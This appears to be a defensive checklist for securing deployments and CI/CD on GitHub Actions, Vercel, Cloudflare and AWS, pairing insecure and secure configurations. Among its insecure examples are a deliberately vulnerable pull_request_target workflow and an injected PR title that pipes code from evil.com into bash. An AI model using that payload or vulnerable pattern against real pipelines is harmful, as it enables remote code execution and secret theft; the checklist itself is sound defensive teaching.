08Deployment
Deployment & CI/CD
Deployment & Cloud Security — Instruction 08
Coverage
CI/CD security, Vercel, Cloudflare, AWS, Netlify, GitHub Actions CWE-269, CWE-798, ASVS V10.3
GitHub Actions Security
1. Permissions — Least Privilege
# 🔴 Too permissive
permissions: write-all
# 🟢 Minimal permissions per job
permissions:
contents: read
packages: write
id-token: write # only if OIDC needed
2. Pin Actions to SHA (Not Tags)
# 🔴 Tags can be changed or deleted
uses: actions/checkout@v4
uses: actions/setup-node@v3
# 🟢 Pin to specific commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
3. pull_request_target + Checkout = CRITICAL RCE
# 🔴 CRITICAL — Fork's code runs with repo secrets!
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # 🔴 fork code!
- run: npm install && npm test # executes attacker's code with secrets
# 🟢 Never combine pull_request_target + checkout of fork code
# Use pull_request instead (no repo secrets access)
4. Input Injection in Run Steps
# 🔴 Context data injected into shell command
- run: echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker's PR title: "'; curl evil.com | bash; '"
# 🟢 Use environment variables
- name: Echo PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"
5. Secrets Not in Logs
# 🔴 Secret visible in logs
- run: echo "API key is ${{ secrets.API_KEY }}"
# 🟢 GitHub masks secrets in logs automatically
# But never echo secrets intentionally
6. GITHUB_TOKEN Scope
# Verify GITHUB_TOKEN is not used beyond its need
# Default: read access to repo
# Don't request write access unless deploying
Vercel
7. Environment Variables in Vercel
# 🔴 CRITICAL — Prefix exposes to browser bundle!
NEXT_PUBLIC_STRIPE_SECRET=sk_live_xxx # exposed to everyone!
# 🟢 Only truly public values use NEXT_PUBLIC_
NEXT_PUBLIC_STRIPE_KEY=pk_live_xxx # publishable key = OK
STRIPE_SECRET_KEY=sk_live_xxx # no prefix = server only
# Rule: Any variable with NEXT_PUBLIC_ prefix is visible in the browser
8. Vercel Edge Config Secrets
// vercel.json — never put secrets here (committed to git)
// Use Vercel Dashboard → Settings → Environment Variables
9. Vercel Headers
// vercel.json — add security headers
{
"headers": [
{
"source": "/(.*)",
"headers": [
{ "key": "X-Content-Type-Options", "value": "nosniff" },
{ "key": "X-Frame-Options", "value": "DENY" },
{ "key": "Strict-Transport-Security", "value": "max-age=63072000" }
]
}
]
}
Cloudflare
10. Cloudflare Workers Secrets
// 🔴 Hardcoded in worker script
const API_KEY = 'sk_live_abc123'
// 🟢 Cloudflare Secrets (wrangler secret put API_KEY)
const API_KEY = env.API_KEY
11. Wrangler.toml
# 🔴 Never put secrets in wrangler.toml (committed to git)
[vars]
API_KEY = "secret_value" # 🔴
# 🟢 Use [vars] for non-sensitive only, secrets via CLI
[vars]
ENVIRONMENT = "production"
# For secrets: wrangler secret put MY_SECRET
12. Cloudflare Security Settings
Check (guided — user must verify in dashboard):
- WAF enabled for production
- Bot Management active (if enterprise)
- Rate limiting rules configured
- DDoS protection enabled (automatic on free+)
- SSL/TLS mode: Full (Strict)
AWS
13. IAM Least Privilege
// 🔴 Admin access for app
{ "Effect": "Allow", "Action": "*", "Resource": "*" }
// 🟢 Only what's needed
{ "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::my-bucket/*" }
14. S3 Bucket Security
// 🔴 CRITICAL — Public bucket with sensitive data
"BlockPublicAcls": false
"PublicAccessBlockConfiguration": { all: false }
// Check: aws s3api get-bucket-acl --bucket my-bucket
// Verify: Block Public Access = enabled
// Verify: No bucket policy grants public access
15. AWS Credentials Not in Code
// 🔴 NEVER in code
AWS.config.update({
accessKeyId: 'AKIAIOSFODNN7EXAMPLE',
secretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'
})
// 🟢 Use IAM roles (for EC2/Lambda) or environment variables
// SDK auto-detects from env or instance metadata
Netlify / Railway / Render
16. Environment Variables via Dashboard Only
- Never commit
.env.productionto git - Use platform dashboard for all production secrets
- Check:
netlify.toml/railway.jsoncontain no secrets
Dependabot
17. Dependabot Configuration
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
assignees:
- "your-github-username"
labels:
- "security"
If missing → create (Level 2).
API Docs Exposure in Production
18. Development Endpoints Disabled
// 🔴 Swagger/API docs accessible in production
app.use('/api-docs', swaggerUi.serve)
// 🟢 Only in development
if (process.env.NODE_ENV !== 'production') {
app.use('/api-docs', swaggerUi.serve)
}
Scan for exposed routes:
/swagger, /api-docs, /openapi.json, /openapi.yaml
/__graphql, /graphql (introspection + playground)
/admin, /phpmyadmin, /adminer
/status, /health (if it exposes too much info)
Signed Commits (ASVS Level 3)
19. Require Signed Commits
Advise user to:
git config --global commit.gpgsign true
# GitHub: Settings → Branches → Require signed commits